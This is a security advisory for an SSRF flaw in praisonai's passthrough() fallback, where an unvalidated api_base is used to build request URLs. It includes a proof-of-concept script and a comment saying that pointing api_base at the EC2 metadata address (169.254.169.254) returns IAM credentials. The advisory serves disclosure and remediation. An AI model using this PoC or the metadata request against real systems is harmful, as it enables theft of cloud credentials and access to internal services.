PraisonAI: SSRF via Unvalidated api_base in passthrough() Fallback

Overview

Summary

passthrough() and apassthrough() in praisonai accept a caller-controlled api_base parameter that is concatenated with endpoint and passed directly to httpx.Client.request() when the litellm primary path raises AttributeError. No URL scheme validation, private IP filtering, or domain allowlist is applied, allowing requests to any host reachable from the server.

Details

passthrough.py:92 (source) -> passthrough.py:109 (fallback trigger) -> passthrough.py:110 (sink)

# source -- api_base taken directly from caller
def passthrough(endpoint, api_base=None, method="GET", ...):

# fallback trigger -- AttributeError from unrecognised provider enters fallback
except AttributeError:
    url = f"{api_base or 'https://api.openai.com'}{endpoint}"

# sink -- no validation before request
    response = client.request(method, url=url, ...)

PoC

# tested on: praisonai 1.5.87 (source install)
# install: pip install -e src/praisonai
# start listener: python3 -m http.server 8888
import sys, litellm
sys.path.insert(0, 'src/praisonai')
del litellm.llm_passthrough_route

from praisonai.capabilities.passthrough import passthrough

result = passthrough(
    endpoint="/ssrf-test",
    api_base="http://127.0.0.1:8888",
    method="GET",
    custom_llm_provider="__nonexistent__",
)
print(result)
# expected output: PassthroughResult(data='...', status_code=404, headers={'server': 'SimpleHTTP/0.6 Python/3.12.3', ...})
# listener logs: "GET /ssrf-test HTTP/1.1" 404
# on EC2 with IMDSv1: api_base="http://169.254.169.254" returns IAM credentials

Impact

On cloud infrastructure with IMDSv1 enabled, an attacker can retrieve IAM credentials via the EC2 metadata service. Internal services (Redis, Elasticsearch, Kubernetes API) are reachable without authentication from within the VPC. The Flask API server deploys with AUTH_ENABLED = False by default, making this reachable over the network without credentials.

Affected packages

• praisonai < 4.5.90

Remediation

Upgrade to a patched release:

• praisonai 4.5.90